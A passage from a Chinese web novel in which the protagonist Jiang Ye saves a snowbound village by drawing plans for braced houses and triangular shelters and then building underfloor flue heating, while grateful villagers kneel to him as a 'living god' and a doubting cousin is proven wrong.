江夜用他最极致的温柔,一点一点,抚平了她们灵魂深处,因白日惊魂而留下的每一丝褶皱。
第156章 天灾
卧房内,温暖如春。
江夜从沉沉的酣睡中醒来,脸上带着满足与惬意。
他下意识地伸出手臂,想将身边的温香软玉揽入怀中,却捞了个空。
身侧,早已空无一人,锦被上还残留着她们淡淡的体香和余温,外屋传来细碎的交谈声。
江夜披上一件外衣,走到卧房门口。
透过门缝,他看到四个女孩正围坐在桌边,明明屋里暖和得很,她们却个个脸色发白,神情里满是浓浓的忧虑。
“我……我早上想出去倒掉昨夜的洗澡水,才一开门,雪就灌进来了半尺深……我好不容易把门推开,就看到……看到村西头王三叔家的土坯房……塌了半边……”
林间雪说到这里,声音哽咽了一下,眼圈瞬间就红了。
“他们一家老小,就抱着才几个月大的娃儿,站在雪地里哭……那娃儿的脸都冻得发紫了,哭声都弱得跟猫叫一样……太可怜了……”
“天哪……”
白梦夏和白梦秋姐妹俩闻言,不约而同地惊呼一声,下意识地伸出手,轻轻抚摸着自己已经微微隆起的小腹。
她们的俏脸瞬间煞白,眼中满是不忍。
对于即将成为母亲的她们来说,没有什么比孩子在风雪中挨饿受冻更让她们感到揪心的了。
白梦夏的肚子已经五个多月了,似乎感受到了母亲情绪的剧烈波动,胎动得厉害,此刻她能清晰地感觉到腹中生命的脉动,那份不忍便愈发真切。
“这雪要是再这么下下去,村里不知道还有多少房子会塌。”白梦秋的声音也带着一丝紧张。
慕容晴紧锁着眉头,她没有像白家姐妹那样慌张,但眼中的凝重之色却最深。
“不止是房子的问题。”她沉声开口,目光扫过窗户纸上被风雪映出的灰白光影,“这场雪下得太邪乎了。从那天我们回来开始,就一直没停,反而越下越大了。你们没发现吗?天色一直都是灰蒙蒙的。”
她的话,让其他三女的心又往下沉了沉。
“再这样下去,路被彻底封死,山上的野物也全都躲进深山老林里,到时候别说打猎,出门都出不去。村里各家各户那点存粮,能撑几天?怕是……要出大乱子了。”
慕容晴毕竟是当过寨主的,她想的,远比其他人更深。
一时间,屋内的气氛压抑到了极点。
就在这时,卧房的门被轻轻推开。
“怎么都醒这么早?”
江夜的声音,瞬间让四个惶惶不安的女孩找到了主心骨。
“夫君!”
“江夜!”
四女几乎是同时停止了交谈,齐刷刷地起身迎了过来,那眼神中的依赖和安心,毫不掩饰。
林间雪手脚最快,已经转身去取了早就备好的热水和布巾。
白梦夏则拿起挂在衣架上的厚实棉袍,细心地为他穿上。
“别一个个都愁眉苦脸的,对孩子也不好。”江夜任由她们忙碌着,目光扫过她们的脸,安慰道。
“相公,外面的雪……”白梦夏系好衣带,抬头看着他,刚想说村里的惨状,却**夜抬手止住了。
“我看看。”
他径直走到窗边,将其中一扇窗户的木栓拉开,推开了一道指缝宽的缝隙。
呼——!
一股夹杂着无数冰晶的狂风,仿佛找到了宣泄口,瞬间灌入温暖的室内。
桌上的烛火猛地一晃,险些熄灭,四个女孩齐齐打了个寒颤,下意识地
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向江夜身后靠了靠。
仅仅是这一道缝隙透进来的寒意,就已如此刺骨。
江夜的目光,透过那道缝隙,望向了外面的世界。
放眼望去,视野所及,再无天地之分,再无远近之别,入目一片银白。
鹅毛般的大雪,毫无道理地往下倾泻!
那积雪,已经到了一个骇人的高度,几乎快要与低矮一些的柴房房檐齐平。
江夜的眉头,紧紧地皱了起来。
眼前这一幕,根本不是自然界正常的雨雪循环。
这更像是一场……天灾。
他缓缓关上窗,将刺骨的寒风,重新隔绝在外。
屋里再次恢复了温暖与安宁,可四个女孩的心,却随着那阵风,沉到了谷底。
“江夜……你怎么看?”慕容晴忍不住开口,声音紧张。
江夜转过身,看着她们一张张写满不安的脸,紧皱的眉头缓缓舒展开,脸上重新挂上了那抹熟悉的笑容。
他走到桌边坐下,将离他最近的白梦夏和林间雪揽进怀里,又对另一边的白梦秋和慕容晴拍了拍自己的大腿。
“怕什么?”
他轻笑着,声音沉稳而有力,“天塌下来,有我顶着。”
“咱们的房子是青砖大瓦房,结实着呢,塌不了。”他捏了捏白梦夏冰凉的小手,又刮了一下林间雪的鼻子,“别担心,怀着宝宝呢。”
“万事有我,你们只管安安心心地在家里养胎、吃饭、睡觉。”
江夜的声音带着一种奇特的魔力,将屋里那压抑不安的气氛一点点驱散。
四女的心,慢慢安定下来。
她们依偎在他的怀里,感受着他身上传来的温热和力量,仿佛找到了最坚固的港湾。
第157章 求你,救救我们!
正在这时,院门处突然传来一阵急促而沉重的拍门声。
屋内的温馨气氛瞬间被打破。
“谁啊?这么大的雪……”林间雪小声嘀咕,眼中满是疑虑。
江夜眉头微皱,他安抚地拍了拍怀中女孩的后背,示意她们稍安勿躁。
“王囤。”他沉声喊道。
“在!”守在堂屋门口的王囤立刻应声。
“去开门看看。”
“是!”
王囤领命,快步穿过堂屋,走到院门后。
“吱呀——”
沉重的院门被拉开一道缝隙。
一股寒流瞬间从门缝中疯狂涌入!
堂屋里温暖的空气被瞬间冲散,王囤也被这股寒气冲得一个激灵,他眯着眼,顶着风雪朝外看去。
下一刻,他整个人都愣在了原地。
只见院门外,黑压压地站满了人。
为首的,正是村长王满仓。
他的身后,是李二愣,是王大壮,是村里几十个拖家带口的村民。
他们每一个人,都像是从雪堆里刚刨出来的雪人。
头发、眉毛、胡子上挂满了冰霜,身上那点单薄的破棉袄早已被风雪浸透,湿漉漉地贴在身上。
一张张脸被冻得青紫,嘴唇干裂,失去了所有血色。
他们就那样站在没过膝盖的深雪里,任由狂风暴雪肆虐,一双双眼睛死死地盯着那道门缝里透出的光亮。
当院门被彻底打开,当屋内那温暖如春的气息、明亮温暖的烛光、以及隐约飘散出的食物余香,毫无保留地扑面而来时……
所有村民,都在那一瞬间,石化了。
他们看到了什么?
他们看到了那足以抵御任何风雪的青砖大瓦房,看到了那烧得通红,让整个屋子都温暖如春的火墙。
看到了屋内窗明几净,与门外那个冰雪地狱截然不同的两个世界。
巨大的反差,狠狠地击碎了他们心中最后一丝硬撑着的坚强。
一路走来,在风雪中被冻僵的身体,在看到这片温暖后,仿佛才后知后觉地感受到了刺骨的疼痛。
“噗通!”
一声闷响,在寂静的雪地里格外清晰。
村长王满仓再也支撑不住,双膝一软,直挺挺地跪在了冰冷的雪地里。
他这一跪,仿佛是一个信号。
他身后,那些同样在崩溃边缘的村民们,无论是壮汉还是妇人,都像是被抽走了全身的力气,一个接一个地跪了下去。
“噗通、噗通……”
几十个村民,黑压压的一片,全都跪倒在江夜家的院门前。
“江夜兄弟……江夜大善人……”
王满仓苍老的声音嘶哑得如同破锣,每一个字都带着哭腔。
“求求你……求求你救救我们,救救稻花村吧!”
“村西头的王三家……塌了半边,现在一家老小都在雪地里站着……李四家的屋顶也漏了,跟下雨一样……再这样下去,不用等粮食吃完,我们……我们全村人都要被活活冻死、压死在这雪里了啊!”
老村长说到最后,已是泣不成声,他将额头重重地磕在冰冷的雪地里,发出一声沉闷的响声。
“求你……给大伙儿一条活路吧!”
他的哭喊,点燃了所有人的绝望。
“江夜兄弟,求你发发慈悲!”
“我们不想死啊!我的娃才三岁啊!”
“救救我们吧!”
哭喊声、哀求声、磕头声混成一片,在呼啸的风雪中,显得那样的无助。
他们用最卑微的姿态,向江夜乞求着活下去的权利
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。
更有人,一边哭嚎,一边颤抖着手,从自己贴身珍藏的怀里,掏出自己的全部家当。
那是一些被手心捂得温热,却沾满了泥土的铜钱。
紧接着,村民们不约而同从拿出自己珍贵的粮食。
或是一个冻得像梆硬的黑面馒头。
又或是用破布包了里三层外三层,舍不得吃的精贵白米……
他们将这些东西高高举过头顶,像是献祭一般,捧到江夜的面前。
“江夜兄弟,这是我全部的家当,全都给你!只求你让我婆娘和娃儿有个地方躲雪……”一个汉子哭着喊道。
“还有我的!江夜兄弟,你收下!只要能活命,你让我做什么都行!”
看着门外这悲惨的一幕,屋内的几个女孩心都碎了。
白梦夏和白梦秋姐妹俩,眼圈通红,泪水在眼眶里打转。
她们紧紧攥着江夜的衣角,看着那些在风雪中哭泣的孩子,不约而同想到自己腹中的孩子,心中不忍。
而本就心善怯懦的林间雪,早已不忍再看,她别过头去,泪水无声地滑落。
她自己就曾是这世间最无助的人,最能体会那种走投无路的绝望。
就连王囤这样见惯了生死的汉子,此刻看着门外那些熟悉的面孔,看着他们卑微如尘土的模样,鼻子也是一阵阵发酸,心中五味杂陈。
整个院子,一边是温暖如春的人间天堂,一边是哀嚎遍野的冰雪地狱。
而江夜,他看着门外跪倒的一片村民,看着他们脸上混杂着雪水和泪水的绝望,看着他们手中捧着的、那卑微到令人心酸的“全部家当”。
他那双深邃的眼眸中,也闪过一丝复杂光芒。
终于,在所有祈求的目光下,江夜轻轻地点了点头。
第158章 这玩意儿能靠谱吗?
院门前,那些卑微的哀求声随着江夜的点头戛然而止。
所有村民都僵住了,他们瞪大了眼睛,愣愣地看着江夜。
他……他点头了?
他答应了?
死一般的寂静持续了三息。
“啊——!”
不知是谁先发出了一声欣喜若狂的呼叫,紧接着,是山崩海啸般的欢呼声。
“江大善人!!”
“活菩萨!是活菩萨下凡了啊!”
“呜呜呜……我们有救了!我们的娃儿有救了!”
村民们疯了一样,将额头一下又一下地重重磕在冰冷的雪地里。
他们用尽全身的力气磕头,仿佛只有这样,才能宣泄出心中那劫后余生的巨大狂喜。
他们手中的铜钱、黑面馒头、珍贵的白米,散落一地,却再也无人顾及。
与活命相比,这些又算得了什么?
江夜没有多言,只是对身后的王囤示意了一下。
王囤会意,立刻上前,将已经哭得浑身瘫软的老村长王满仓从雪地里搀扶起来。
“村长,快起来,江爷答应了!”
“呜……江夜兄弟的大恩大德,我们稻花村……没齿难忘啊!”王满仓老泪纵横,话都说不完整。
江夜没理会这些,他转身回到屋里,对着几位正在为他担忧的女人解释道;“我要出去一下。”
白梦夏闻言,连忙取来一件厚实的熊皮大氅,仔细地为他披上,系好带子。
那双美眸里,担忧与骄傲交织。
“相公,外面冷。”
“没事。”江夜拍了拍她的手,随即转身,没有丝毫犹豫,一步踏入了那片白茫茫的风雪地狱之中。
他踏着没过膝盖的积雪,行走在村中,却如履平地。
村民们自发地跟在他的身后,看着他宽厚的背影,仿佛看到了定海神针。
江夜先是走到了村西头王三叔家。那土坯房已经塌了半边,剩下的半边墙体上也布满了蛛网般的裂纹,在风雪中摇摇欲坠。
江夜只是看了一眼,伸手在断裂的房梁木头上敲了敲,又抓起一把混着雪水的泥土,在手里捻了捻。
接着,他又去了几家屋顶漏雪、墙体开裂的人家。
他一言不发,只是看,检查着房屋的结构,木料的材质,地基的状况。
跟在后面的村民们大气都不敢出,他们看到江夜时而抬头看看房梁,时而蹲下身子敲敲地基,动作从容不迫。
一圈走下来,江夜心中已然有数。
这村里的房子,大多是土坯结构,房梁用的也是最普通的松木,能撑到今天,已经是极限了。
回到家中,那股温暖的气息扑面而来,让跟在后面的王满仓和几个村民代表都忍不住打了个哆嗦,那是从地狱回到天堂的感觉。
江夜脱下大氅,径直走到桌前。
“研墨。”
“是,相公。”白梦秋立刻上前,拿起墨锭,在砚台里轻轻研磨起来。
江夜则从柜子里取出几张平日里用来记账的兽皮纸,铺在桌上,又拿起一根削好的炭笔。
在王满仓和几个女孩好奇又紧张的注视下,江夜握住了笔。
下一刻,他整个人的气势陡然一变。
神级工匠技艺,发动!
他那只握着炭笔的手动了,快得几乎化作了一道残影。
炭笔在粗糙的兽皮纸上飞速划过,发出一连串密集的声响。
一条条笔直的、弧形的、带着各种角度的线条,一个个旁人闻所未闻、见所未见的符号和数字,从他的笔下疯狂涌现。
白梦夏和白梦秋姐妹俩,小嘴微张,一脸惊讶。
慕容晴看着江夜下笔如有神助的样子,美眸中异彩连连。
不到一刻钟。
“啪。”
江夜手中的炭笔轻轻落在桌上。
桌面上,两张画满了精密线条和诡异符号的图纸,赫然完成。
一张图上,画的是一个房屋的剖面,上面用红色的标记标注了无数个点,旁边写着密密麻麻的符号,看起来是如何加固现有房屋的。
而另一张图,则是房屋拼接在一起临时庇护所的搭建图,从地基到房梁,从支撑到铆接,
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每一个细节都标注得清清楚楚。
江夜拿起那两张还带着余温的图纸,再次转身走出房门,来到院子里。
外面,几十个村民依然在焦急地等待着,看到江夜出来,立刻围了上来。
“江夜兄弟……”
江夜没说话,只是将手中的两张图纸,在众人面前展开。
“都看看。”
村民们立刻伸长了脖子,几十双眼睛齐刷刷地盯了过去。
然后,集体懵了。
“……啥玩意儿?”李二愣挠了挠冻得发麻的头皮,满脸茫然。
“这……这画的是啥?蜘蛛网吗?”
“不对不对,你看这个,像不像个王八盖子?”
村民们看着图纸上那些密密麻麻的线条和符号,只觉得头晕眼花,比看天上星辰的轨迹还要难懂。
老村长王满仓也凑了上去,他把脸都快贴到图纸上了,左看右看,最后小心翼翼地戳了戳图纸上的一个符号。
“江夜兄弟……这……这是啥天书?”他抬起头,老脸上写满了淳朴的困惑。
江夜无心跟他们解释什么叫力学结构,什么叫三角稳定,毕竟说了他们也不明白。
他收回图纸,指着第一张图,用最简单直接的话语下达了指令。
“这张,是加固图。所有还没塌的房子,按照这上面红点标注的位置,用木头给我撑死!倾斜角度,木头粗细,都按我这上面的来!”
接着,他又指向第二张图。
“这张,是临时庇护所。村里空地,所有男人,立刻动手,就地取材,伐木挖地基!按照这张图,给我建!今天天黑之前,必须建好!”
他的声音清晰地传到每一个人的耳朵里。
“按此加固,可保房屋不塌。”
“按此搭建,可让全村老小,安然过冬。”
说完,他便将图纸塞到了王满仓的手里。
村民们面面相觑,看着村长手里那两张画满了“鬼画符”的兽皮纸,又看了看江夜那张平静的脸,心中疑虑重重。
这玩意儿……能靠谱吗?
第159章 不照做,就只能等死
看着众人明显心有疑虑的样子,江夜也没有过多的解释。
他指了指院门外那片狂暴风雪,语气带着一丝凝重和认真。
“不照做,就只能等死。”
简简单单的一句话,不带任何感**彩,像一盆冰水,从头到脚浇灭了所有村民心中最后一丝犹豫和侥幸。
是啊,照着江夜话来做,说不定还有一线生机。
不照做,就只能站在这雪地里,等着自家的房子像王三家那样塌掉,然后一家老小活活冻**!
与其等死,那不如拼一把。
“都听江夜兄弟的!”
王满仓接过图纸,通红的眼睛死死瞪着周围还在发愣的村民,用尽全身力气大声道:“都**别愣着了!想活命的,就按江夜兄弟说的办!现在,立刻,马上!”
老村长一辈子没说过这么重的粗话,这一声吼,彻底吼醒了所有人。
“干!”
“听江夜兄弟的!”
人群瞬间骚动起来,求生的欲望压倒了一切。
躲在人群角落里的王翠花,看着这一幕,心情复杂到了极点。
她下意识地裹紧了身上那件单薄的破棉袄,可那寒意却仿佛是从骨头缝里钻出来的,怎么也挡不住。
她看着那个站在院门口,被所有人用敬畏、狂热的目光包围着的男人。
曾几何时,这还是那个被她整天挂在嘴边,当成反面教材的懒汉江夜。
她不止一次在背后嘲笑他好吃懒做,一辈子都没出息。
可现在,这个“没出息”的男人,却成了全村人的救世主。
他的一句话,就能决定几十户人家的生死。
而她自己,也得像条狗一样,摇着尾巴,指望他能发发善心,赏自己一口活命的饭吃。
悔恨、恐惧……种种情绪交织在一起,让她那张本就因寒冷而发青的脸更加难看。
……
与此同时,稻花村的村口,一个浑身被白雪覆盖的人影,踉踉跄跄地出现了。
王拴柱那件棉衣早就湿透了,寒风一吹,冻得跟冰块似的。
当他看到稻花村的村牌时,心里松了一口气,他脸上浮现一丝笑容,几乎要喜极而泣。
可当他看清村里的景象时,那颗刚刚升起希望的心,瞬间凉了半截。
放眼望去,村里好些房子都塌了,跟他们清河村的惨状,竟没什么两样。
“这……”
王拴柱心头一沉,连滚带爬地朝着记忆中堂弟王二柱家的方向跑去。
等他终于赶到地方,整个人却如遭雷击,彻底傻在了原地。
眼前,哪还有什么房子。
只有一片被大雪覆盖的废墟,几根断裂的房梁木头,歪歪斜斜地插在雪堆里,无声地诉说着不久前发生的灾难。
王拴柱双腿一软,一屁股跌坐在雪地里,脸上最后一丝血色也褪得干干净净。
就在他万念俱灰之时,一个路过的村民认出了他。
“你不是……清河村的王拴柱吗?来找二柱的?”
“大哥,我弟……我弟他……”王拴柱声音颤抖,话都说不完整。
“嗨,你弟好着呢!快跟我来,他正跟大伙儿在一起呢!”那村民不由分说,拉起他就走。
很快,王拴柱就被带到了江夜家院子外那片空地上。
他一眼就看到了自己的堂弟王二柱。
王二柱正和几个汉子站在一起,虽然身上也落满了雪,但精神头十足,正一脸严肃地听着一个护院打扮的人分派任务。
“二柱!”王拴柱扯着嗓子喊了一声。
“哥?!”王二柱猛地回头,看到王拴柱又惊又喜,连忙冲了过来,“哥!你咋来了?快快快,进屋暖和暖和!”
王二柱不由分说,拉着他进了旁边一间临时腾出来的屋子,又手脚麻利地从一个大陶罐里舀出一碗还冒着热气的肉汤。
“快,喝了暖暖身子!”
王拴柱冻得手指都伸不直了,他哆哆嗦嗦地捧着那碗热汤,狼吞虎咽地一口气灌了下去。
一股暖流从喉咙一直冲到胃里,瞬间扩散到四肢百骸。
他这才感觉自
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己活了过来。
“哥,清河村……也遭灾了?”王二柱看着他这副样子,小心翼翼地问道。
王拴柱眼圈一红,点了点头,将村里房子塌了大半,死伤了不少人的惨状说了一遍。
王二柱听得唏嘘不已,随即又拍了拍胸脯,满脸自豪地说道:“哥,你别怕!既然来了,就安心住下!我们稻花村有救了!”
他指着窗外那片热火朝天的空地,压低了声音说道:“你看到没?那是我们东家,江爷!江爷拿出神仙图纸,正带着我们建新房子呢!说是能抗住这场大雪,里面还跟春天一样暖和的暖房!”
王拴柱顺着他指的方向看去,只看到一群人在风雪里乱糟糟地刨着地,砍着树,再听着王二柱嘴里那能抗住这场大雪,还跟春天一样暖和的暖房,他眼中顿时闪过浓浓的不信与鄙夷。
自己这个堂弟,怕不是冻傻了,跟着别人一起发疯。
但他看看窗外的风雪,再想想自己已经无处可去的窘境,他沉默了会,到底忍住了快要脱口而出讥讽,低头默默地喝了一口热汤。
院子里,江夜已经开始有条不紊地指挥起来。
“王囤,你带十个人,成立加固组,拿着图纸,挨家挨户去加固还没塌的房子,务必按图纸上的尺寸和角度来,一分一毫都不能差!”
“李三,你带二十个最壮的汉子,成立伐木组,就去村后那片松林砍树,木料优先供应搭建组!”
“姜四,你带剩下的人,成立搭建组,跟着我,立刻开始挖地基,打桩!”
江夜的指令条理清晰,分工明确,瞬间就让原本还乱糟糟的村民们找到了主心骨。
“是,东家!”
王囤等护院队的成员,对江夜的命令早已是无条件的服从,他们没有丝毫犹豫,轰然应诺,立刻转身,开始招呼自己手下的村民。
“加固组的,都跟我来!手脚麻利点!”
“伐木组的,带上斧头锯子,出发!”
村民们在护院队员的带领下,迅速行动起来。
第160章 活神仙
搭建组这边,由江夜亲自坐镇。
他深知跟这群大字不识一个的村民讲什么力学原理,无异于对牛弹琴。
他干脆将图纸上的内容,用最粗鄙直白的方式吼了出来。
“搭建组的听着!看到这红点没?就在这个位置,用木头跟地面斜着撑住!角度就照我这根棍子摆的来!差一点,这棚屋就塌了!”
江夜在雪地里插了根木棍,做成一个最简单的示范。
这种简单到近乎弱智的讲解,村民们反倒是一听就懂。
虽然心里还是犯嘀咕,觉得这玩意儿怎么看怎么不靠谱,但江夜那句“不照做就等死”的警告,就像悬在脖子上的一把刀,逼着他们只能埋头苦干。
王拴柱被分到了搭建组,跟着堂弟王二柱一起干活。
他看着眼前这简单到近乎儿戏的结构,满心的鄙夷几乎要从眼睛里溢出来。
他故意放慢了动作,一边磨洋工,一边阴阳怪气地对旁边的村民念叨:“哎,我说,咱们清河村盖房子,那梁是梁,柱是柱,用的都是最粗的木头。就这种细胳膊细腿的玩意儿,上面再压点雪,风一吹,不就跟纸糊的一样塌了?”
“到时候大家伙儿可都得被活埋喽!”
他这话一出,周围几个本来就心里没底的村民,脸色顿时变得更加难看,手上的动作也迟疑了起来。
“哥!你闭嘴!”
王二柱听到这话,气得脸都涨红了。他一把丢下手里的活,冲过来,怒视着自己的堂哥。
“江爷的本事,是你这种人能想象的?你要是不想干,就一边去,别在这儿妖言惑众!”
“你……”王拴柱被噎得一口气差点没上来。
他没想到,自己这个一向老实巴交的堂弟,竟然敢为了一个外人吼自己。
他看着王二柱那双因为狂热信任而亮得吓人的眼睛,再看看其他村民投来的不善目光,心中更加不屑,嘴上却不敢再多说。
他冷哼一声,扭过头,继续慢悠悠地“干活”,心里却把江夜和这群“蠢货”骂了个遍。
……
风雪没有丝毫停歇的意思。
傍晚时分,天色彻底暗下来之前,几座长条形的临时棚屋,在村里的空地上拔地而起。
同时,村里那几栋最危险、摇摇欲坠的房屋,也按照图纸加固完毕。
村民们看着眼前这些造型古怪、丑得别致的棚屋,心里七上八下。
这玩意儿,真能扛过这要命的暴雪?
可现在他们也根本没得选。
“都进去!把老人和孩子先送进去!”王满仓扯着嗓子大喊,“信江爷,咱们就能活!”
事到如今,也只能选择相信。
一时间叮嘱声响成一片。
房屋倒塌的村民们拖家带口,将家里最宝贝的粮食和被褥搬进棚屋,将老人和孩子安顿在最里面的位置。
王拴柱也跟着王二柱一家,住进了一间棚屋。
一进去,他就皱起了眉头。
棚屋里空间狭小,光线昏暗,他看着那倾斜的“墙壁”,伸手敲了敲,发出沉闷的响声,脸上的讥讽之色更浓了。
“二柱啊,你可真信他。今晚上,咱们就睡在这活棺材里了。”他压低声音,对堂弟说道,“哥劝你一句,待会儿别睡太死,一有不对劲,赶紧往外跑。”
王二柱只是冷冷地瞥了他一眼,转身离开,一副不想搭理他的样子。
夜幕降临。
风雪,骤然加剧!
狂风在村庄里疯狂肆虐,发出鬼哭狼嚎般的嘶吼。
所有人都蜷缩在屋子的角落里,紧紧抱着自己的家人。
孩子们被吓得不敢哭出声,只是把头埋在母亲怀里瑟瑟发抖。
大人们则瞪大了眼睛,竖着耳朵,听着屋外的动静,心神不宁。
王拴柱也吓得脸色发白,他紧紧贴着棚屋的出口,做好了随时逃命的准备。
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>时间,一分一秒地过去。
不知过了多久,在极度的恐惧和疲惫中,有人昏昏沉沉地睡了过去。
……
第二天,天蒙蒙亮。
肆虐了一整夜的风雪,势头终于稍稍减弱。
一个汉子推开用自家的门,探出了头。
眼前,是一片银装素裹的寂静世界。
但是那几座古怪的三角棚屋,稳稳地矗立在厚厚的积雪中,身上覆盖着近尺厚的雪,却无一倒塌!
汉子愣住了。
竟然真的扛住了!
紧接着,其他村民的房门也陆续被推开。
一个个村民探出头来,当他们看清眼前的景象时,全都和第一个汉子一样,呆立当场。
不仅是昨天搭建的临时棚屋没倒,那些原本岌岌可危的房屋被加固后,也同样安然无恙!墙壁被木桩稳稳撑住,漏雪的屋顶下,新的支撑结构清晰可见。
而就在不远处,有两栋没来得及加固的土坯房,已经彻底变成了一堆废墟,被掩埋在茫茫白雪之下,只剩几根断裂的木梁,无声地诉说着昨夜的绝望。
短暂的死寂之后,一股劫后余生的巨大狂喜与后怕,瞬间席卷了所有人!
“没塌!真的没塌!”
“我们活下来了!我们活下来了啊!”
“呜呜呜……老天爷开眼啊!”
不知是谁先喊了一声,紧接着,便是激动的欢呼声!
男人们扔掉手里的东西,仰天长啸。
女人们抱着孩子,喜极而泣。
在短暂的狂喜之后,所有人都做出了同一个动作。
他们齐刷刷地朝着江夜家院子的方向跪了下去,将额头磕在冰冷的雪地里。
“江先生是活神仙!”
“活神仙下凡来救我们了啊!”
“江大善人,您就是我们的再生父母!”
这一刻,江夜在他们心中,是能与天灾抗衡,救他们于水火之中的,活神仙!
第161章 这怎么可能
王拴柱是被外面的嘈杂声惊醒的。
昨晚后半夜,他竟不知什么时候睡了过去。
王拴住顾不得其他,起身连滚带爬的跑出去,看见屋外的场景时,他整个人彻底僵在了原地。
眼前,几座造型古怪的三角棚屋,稳稳地扎在厚得快要及膝的积雪中。
屋顶上覆盖着厚厚一层白雪,却丝毫没有被压垮的迹象。
他茫然地转过头,望向村子的方向。
那些经过加固的土坯房,也奇迹般地挺立着。
王拴柱的大脑一片空白。
他亲眼见过自家村里那些土胚房是怎么被大雪压垮的,可眼前这些用几根木头搭起来的“破烂玩意儿”,竟然……竟然扛住了一整夜的暴雪?
“江先生是活神仙!”
“活神仙下凡来救我们了啊!”
叩拜声不断传来。
王拴住看着那些人朝着江夜家的方向,用最虔诚的姿态磕着头,眼中满是不可置信。
“这……这怎么可能……这肯定是……是运气好……对,就是运气好!”
……
两天后,风雪的势头总算小了些,但天地间依旧是一片白茫。
村道上的积雪已经深及腰部,若非必要,无人敢轻易出门。
江夜家门前的空地上,江夜正指挥着王囤、王二柱等护院队员,以及几十名精壮的村民,对村里最后一批经过加固的房屋,进行改造。
这一次,村民们更加看不懂了。
只见江夜让他们在自家的土屋里,从灶膛边开始,挖出一条条曲里拐弯的沟渠,像蛇一样盘踞在整个屋子的地面下。
“江爷,这……这是干啥?把屋里地都刨了,这晚上咋睡啊?”有村民不解地问。
王拴柱也混在人群中,他看着这乱七八糟的沟渠,在心里腹诽。
江夜就是瞎折腾!好好的地不要,非要挖的一道道的,怕是吃饱了撑的。
江夜没理会这些议论。
他拿起一块扁平的石头,扔进沟里,对王二柱道:“沟底铺平,侧壁用泥和碎石糊上,要严丝合缝。”
他又走到墙角,指着一个预留的洞口:“这里,用石头和泥垒起来,一直通到屋顶外面去。”
江夜选择了最适合当下环境和材料的一种。
这便是最原始、最简单的地暖,俗称“火龙”。
利用灶膛燃烧产生的热烟,在排出室外之前,先在地下盘旋一圈,将热量传给地面和墙体。
村民们虽然满腹狐疑,但见识过江夜“神仙图纸”的厉害后,已经没人敢公开质疑。
他们只知道,听江爷的,就能活命。
于是,整个稻花村,家家户户都开始刨自家地面,挖沟、铺石、糊泥……干得热火朝天。
当天傍晚,所有房屋的改造都宣告完成。
家家户户的屋里,都多了一条蜿蜒的地下烟道和一个高出屋顶的简陋烟囱。
“好了,生火吧。”江夜拍了拍手上的泥土,下达了最后的指令。
村民们将信将疑地回到自家屋里,看着被刨得坑坑洼洼,又重新铺上一层薄土的地面,心里直打鼓。
一个汉子犹豫着将柴火塞进灶膛,点燃了火。
火苗升起,浓烟被吸进了灶膛深处,并没有像往常一样倒灌进屋里。
“咦?烟不呛人了?
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”
他正奇怪着,忽然,坐在灶边取暖的老娘“哎哟”一声叫了起来。
“咋了娘?”汉子吓了一跳。
“这……这地……”老太太瞪大了眼睛,指着身下的土炕,满脸的不可思议,“这地是热的!”
汉子连忙伸手一摸,那原本冰冷潮湿的土炕,此刻竟真的传来一股温热!
神奇的一幕,在稻花村的每一户人家同时上演。
随着灶膛里的火焰越烧越旺,那股暖意顺着地下的“火龙”,开始向整个屋子蔓延。
冰冷的地面、土炕,甚至连墙根,都开始散发出源源不断的温暖。
屋子里那股阴冷潮湿的寒气,被一点点驱散,取而代之的是一种干燥而舒适的暖意。
“热了!真的热了!”
“天爷啊!屋里跟春天一样!”
“墙也是热的!快摸摸!”
惊喜的呼喊声此起彼伏。
孩子们在温暖的屋子里追逐打闹,小脸红扑扑的,笑声清脆。
大人们围坐在温暖的土炕上,感受着这冬日的温暖,脸上挂着傻笑。
窗外,是白毛风卷着雪粒子,疯狂地拍打着窗户,发出凄厉的呼啸。
屋内,是温暖如春,其乐融融。
一墙之隔,判若两界。
村西头,一个白发苍苍的老者,颤抖着伸出满是褶皱和冻疮的手,轻轻抚摸着身边温暖的墙壁。
那股温润的热度,从掌心传来,驱散了他身体里的寒气。
老者浑浊的眼睛里,渐渐蓄满了泪水。
他活了七十多年,从未想过,在这能冻**的腊月寒冬,屋子里竟然能像开了春一样暖和。
第162章 再造之恩
短暂的寂静过后,整个稻花村瞬间沸腾。
家家户户的门都被推开,所有装了地龙的村民满脸通红地涌了出来,汇集到江夜家门口。
不知是谁带的头,朝着江夜家的方向,直挺挺地跪了下去。
接着,便是第二个、片刻后,就黑压压地跪倒了一片。
刺骨的寒风吹在他们滚烫的脸上,可没有一个人在意。
他们用尽全身的力气,将额头一下又一下地,重重磕在冰冷的雪地里。
“江先生再造之恩,没齿难忘!”
“江先生是活神仙!是活神仙啊!”
这一次的叩拜,比之前任何一次都要虔诚。
如果说,之前江夜为他们搭建临时棚屋,是救了他们的命,让他们得以苟活。
那么现在,这温暖如春的“火龙”,就是给了他们一个真正能安稳度过这个冬天的“家”!
王拴柱站在温暖如春的屋子里,脚下的地面传来一阵阵烘烤般的暖意,将他身上最后一丝寒气也驱散得干干净净。
透过门窗,他看着跪倒一片的村民,看着他们对着江夜疯狂地叩拜。
他大脑一片空白。
那些被他视作“纸糊的玩意儿”的三角棚屋,扛住了暴雪。
这些被他腹诽为“瞎折腾”的地下沟渠,竟真的能让一间破土屋温暖如春。
他脑子里那点“常识”,在眼前这匪夷所思的一幕幕面前,被碾得粉碎,连一点渣滓都没剩下。
“他……他居然真的做到了?”
他喃喃自语,喉咙里像是被塞了一团干涩的棉花,发出的声音满是干涩。
……
江夜听见动静,打开院门出来。
面对众人的跪拜和感激,他脸上的表情依然平静。
目光从村民们身上扫过,他抬了抬手,声音清晰地传到了每一个人的耳朵里。
“都起来吧。”
村民们这才陆陆续续地站起身,但依旧躬着身子,不敢抬头直视江夜。
他目光扫过一张张激动的脸,最后落在了王囤、王二柱这些护院队员的身上,朗声宣布道:“连日辛苦,大家都有功。护院队每人,赏肉十斤!”
十斤肉!
这三个字,像是一道惊雷,在所有人的脑海中炸响。
王囤、王二柱等一众护院队员,先是猛地一愣,随即脸上爆发出难以置信的狂喜。
在这大雪封山,连黑面馒头都成了珍馐的节骨眼上,十斤肉意味着什么?
意味着能让一家老小,过上一个肥年!意味着能救命!
“谢东家赏!”
王囤第一个反应过来,他对着江夜重重一拜,激动的吼出声:“我王囤这条命就是东家的!以后但有差遣,万死不辞!”
“我等誓死效忠东家!”
其余护院队员也齐齐拜倒。
人群中,护院队的家人们瞬间被这巨大的幸福击中。
王囤的老娘激动得浑身发抖,眼泪止不住地往下流,嘴里不停念叨着:“老天开眼,老天开眼啊……”
